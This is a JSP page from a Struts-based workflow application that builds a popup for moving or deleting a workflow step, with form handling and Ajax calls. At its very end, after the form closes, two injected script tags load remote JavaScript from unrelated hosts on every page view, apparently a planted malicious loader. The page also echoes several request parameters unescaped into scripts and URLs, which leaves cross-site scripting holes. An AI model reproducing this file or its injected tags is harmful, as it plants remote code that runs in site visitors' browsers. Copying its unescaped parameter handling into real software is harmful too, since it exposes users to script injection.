<%
/*
 * @(#)EditWorkflowStepMove.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepMove.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    01/09/2004
    @version          $Revision: 1.17.2.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowStepForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowStepForm"/>

<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/interface/WorkflowAjaxProcessor.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/engine.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/util.js'> </script>

<html:form action="workflow/MaintWorkflowStep" styleClass="form-style-2">
<style>
.popUpContainer .tabContainer .tabContent{
  height:565px !important;
  width:860px;
  overflow:auto;
}
</style>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String wfGroupID = request.getParameter("workflowGroupID");
   String workflowRecordID = request.getParameter("workflowRecordID");
   String[][] workflowStepMoveList = (String[][])request.getAttribute("workflowStepParentList");
   List nextStepsList = (List)request.getAttribute("nextStepsList");
   
   
 %>

<%
   ACTION_MODE = "V";
   String accessibleGroupList = (String)request.getAttribute(MaintWorkflowRecordAction.VAR_ACCESSIBLE_GROUP_LIST);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  
  String navMode = request.getParameter("navMode");
  
  String currentWorkflowStepID = request.getParameter("currentWorkflowStepID");
  String currentStepActionType = request.getParameter("currentStepActionType");
  String workflowGroupID = request.getParameter("workflowGroupID");

  String parentStepID = request.getParameter("parentStepID");
  String parentType = request.getParameter("parentType");
  String categoryID = request.getParameter("categoryID");
  String operationType = (String)request.getParameter("operationType");

  
%>
<script language="Javascript">
<!--
//for bug eip-1158
submitForm = function(form){
	  var kw = {
	                mimetype: "text/plain",
					formNode: form,
					load: function(t, txt, e) {
				          //add errormessage here EIP-1758
						  if(refreshErrorMessage(txt)){
						  //
						  }else{
						  window.opener.parent.document.location = "MaintWorkflowRecord.do?navMode=E&ID=<%=workflowRecordID%>&wfGroupID=<%=wfGroupID%>";
                          window.close();
						  }
						
						  
					},
					error: function(t, e) {
						//dojo.debug("Error!... " + e.message);
					}
				};
				dojo.io.bind(kw);
				return false;
	}

function refreshErrorMessage(txt){
   var pos1 = txt.indexOf("<UL TYPE=\"square\" class=\"errorMessage\">");
   if(pos1>0){
   var newTxt = txt.substring(pos1);
   var pos2 = newTxt.indexOf("</UL>");
   newTxt = newTxt.substring(0,pos2)+"</UL>";
   var errorPannel = document.getElementById("messagePanel");
   if(errorPannel){
     errorPannel.innerHTML = newTxt;
   }
   return true;
   }
   return false;
}
function OpCusSave() {
  var frm;
  var result;
  var hasSelected;
  var connectedSubStepID;
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  
  if(frm.moveToStepID.value==""){
    alert("<bean:message key='workflow.label.move_to_after_step'/> "+"<bean:message key='form.message.is_required'/>");
    return false;
  }
  <%
  if(WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){
  %>
     connectedSubStepID = frm.moveToStepID.value;
     opener.location = "<%= request.getContextPath() %>/workflow/MaintWorkflowRecord.do?SHOW_HEADER_FOOTER=Y&navMode=E&wfGroupID=<%=workflowGroupID%>&workflowRecordID=<%=workflowRecordID%>&currentWorkflowStepID=<%=currentWorkflowStepID%>&parentStepID=<%=parentStepID%>&connectedSubStepID="+connectedSubStepID+"&operationType=<%=operationType%>";
	 window.close();
  <%}else{%>
  frm.opMode.value="MOV";
  frm.navMode.value="M";
  submitForm(frm);
  
<%}%>
  //result = OpSave(frm);
  return(false);
}  

 function subSequentStepsOperation(parentID,currentID){
	 var ele = document.getElementById("options");
	 if(!ele)
		 return false;
	 ele.checked=false;
	 ele.disabled=true;
	 parentID=<%=currentWorkflowStepID%>;
	 currentIDs=currentID.split("-");
     WorkflowAjaxProcessor.checkIfCanMoveSubsequentSteps(parentID,currentIDs[1],setSubSequentStepsValue);
  }

  function setSubSequentStepsValue(data){
     var ele = document.getElementById("options");
	 if(data=="Y"){
		 ele.disabled=false;
	 }
  }

 function getConnectStepList(currentID){
     var ele = document.getElementById("options");
     if(ele){
	   if(ele.checked){
	     WorkflowAjaxProcessor.getConnectStepOption(currentID,true,setConnectStepOptions);
	   }else{  
	     WorkflowAjaxProcessor.getConnectStepOption(currentID,false,setConnectStepOptions);
	   }

	 }
 }

function setConnectStepOptions(data){
     var ele = document.getElementById("connectStepID");
	 if(ele){
		 var parent=ele.parentNode;
	     parent.innerHTML = "<select id='connectStepID' name='connectStepID' class='form-style-2-pulldown'>"+data+"</select>";
	 }
  }

function INIT(){
  <%
  if(!WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){
  //is Move Step
  %>
   //init the move step info
   var eles = document.getElementsByName("moveToStepID");
   if(eles[0]){
     subSequentStepsOperation(<%=currentWorkflowStepID%>,eles[0].value);
	 // check subSequent
     getConnectStepList(<%=currentWorkflowStepID%>);
	 //get the connectStep value
   }
  <%}%>
  }
-->
</script>    
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='currentStepID' value='<%=currentWorkflowStepID%>'/>
<html:hidden property='parentStepID'/>
<html:hidden property='parentType'/>
<html:hidden property='workflowRecordID' value='<%=workflowRecordID%>'/>   
<html:hidden property='workflowGroupID' value='<%=workflowGroupID%>'/> 

<% if(!Utility.isEmpty(operationType) && WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){%>
    <layout:popupTitle titleKey ="workflow.label.delete_workflow_step"/>
  <%}else{%>
    <layout:popupTitle titleKey ="workflow.label.move_workflow_step"/>
    <%}%>
<div class="tabContainer">
<div class="tabContent" style="display:block;">
<table width="780">
  <!-- Section Header -->
<tr><td colspan="2">
  <table border="0" cellspacing="2" cellpadding="0">
    <% if(!Utility.isEmpty(operationType) && WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){
      %>
     <layout:sectionHeader name="workflow.label.delete_single_step" colspan="4"/>
  <%}else{%>
    <layout:sectionHeader name="workflow.label.move_step" colspan="4"/>
	<%}%>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.current_step_name'/>:&nbsp;</td>
      <td colspan="3" class="formFieldSmall" width="630">
      <%=maintWorkflowStepForm.getStepName()%>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.parent_step_name'/>:&nbsp;</td>
      <td colspan="3" class="formFieldSmall" width="630">
      <%=maintWorkflowStepForm.getParentStepName()%>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmallMan">
	  <% if(!Utility.isEmpty(operationType) && WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){
      %>
	  <bean:message key='workflow.label.connect_to_sub_step'/>:&nbsp;
	  <%}else{%>
       <bean:message key='workflow.label.move_to_after_step'/>:&nbsp;
	  <%}%></td>
      <td colspan="3" class="formFieldSmall" width="630">
      <%if (!Utility.isEmpty(workflowStepMoveList)) {%>
      <html:select property='moveToStepID' onchange='javascript:subSequentStepsOperation(null,this.options[this.selectedIndex].value);' styleClass="form-style-2-pulldown">
        <%     
          for(int i=0; i<workflowStepMoveList.length; i++){            
            
        %>
          <option value='<%=workflowStepMoveList[i][1]%>'><%=workflowStepMoveList[i][0]%></option>
        <%  
          }%>
        
      </html:select>
      <%}%>
      </td>
    </tr>
    <%if(!WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType)){
    if (!Utility.isEmpty(nextStepsList) && nextStepsList.size() > 0) {
     %>
    <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.select_reserve_step'/></td>
    <td colspan="3" class="formFieldSmall" width="630">
      <html:select property='reserveStepID' styleClass="form-style-2-pulldown">
        <%     
          for(int i=0; i<nextStepsList.size(); i++){  
          String[] currentStep = (String[])nextStepsList.get(i);          
          %>  
          <option value='<%=currentStep[0]%>'><%=currentStep[1]%></option>
        <%  }
          %>
        
      </html:select>
      </td>
    </tr>
    <%}%>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.options'/>:&nbsp;</td>
      <td colspan="3" class="formFieldSmall" width="630">
      <input type="checkbox" id="options" name="options" <%=GlobalConstant.TRUE.equals(maintWorkflowStepForm.getOptions())? "checked" : ""%> onclick="getConnectStepList(<%=currentWorkflowStepID%>)" value="ALL" styleClass="form-style-2-checkbox">
      <bean:message key='workflow.label.move_subsequent_steps_also'/>
      </td>
    </tr>
	<!--select operation type-->
	<tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.options'/>:&nbsp;</td>
      <td colspan="3" class="formFieldSmall" width="630">
      <input type="radio" value="I" name="operateType" checked>Insert after currentStep&nbsp;&nbsp;
	  <input type="radio" value="P" name="operateType">Add Parallel Step after currentStep
      </td>
    </tr>
	<!--if childStepSize>1 and InsertOperate than show it_TC.ADD-->
	<tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.connect_to_sub_step'/></td>
    <td colspan="3" class="formFieldSmall" width="630">
	 <select id='connectStepID' name="connectStepID" class="form-style-2-pulldown">
	 <option value="">Default</option>
	 </select>
	 </td>
	 </tr>
	 <!--TC.ADD END-->
   <%}%>
  


  </table></td></tr>

<%//if (maintWorkflowRecordForm.getID()!=null && (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) )) {%>
  <tr>
    <td colspan="4" align="center"><html:img src='LayoutSpacer.gif' height='12' /></td>
  </tr>

  <layout:sectionHeader name="workflow.label.workflow_routine" colspan="4" mandatory="false"/>
  
  <tr>
    <td class="blackLine" colspan="4"><html:img src='LayoutSpacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="4" align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
  <tr>
    <td colspan="4" align="center">
    <!-- Workflow Tree Begin -->
    <%if (!Utility.isEmpty(currentWorkflowStepID) ) {%>
    <jsp:include page="ShowWorkflowTree.jsp">
      <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>      
      <jsp:param name="workflowGroupID" value="<%=workflowGroupID%>"/>
      <jsp:param name="workflowCategoryID" value="<%=categoryID%>"/>
      <jsp:param name="actionMode" value="<%=ACTION_MODE%>"/>
    </jsp:include>
    <%}%>
    <!-- Workflow Tree End   -->
    </td>
  </tr>
  <tr>
    <td colspan="4" align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
  <tr>
    <td class="blackLine" colspan="4"><html:img src='LayoutSpacer.gif'  width='1' height='1'/></td>
  </tr>
<%//}%>

  <tr>
    <td colspan="4"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="4" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </div>
  
 <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP.equals(operationType) || !Utility.isEmpty(workflowStepMoveList)) {%>
    <html:standardButton label="common.label.save" onClick="return OpCusSave()"/>
    <%}%>
    <html:standardButton label="common.label.close" onClick="return window.close();"/>
    </div>
 </div>
</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>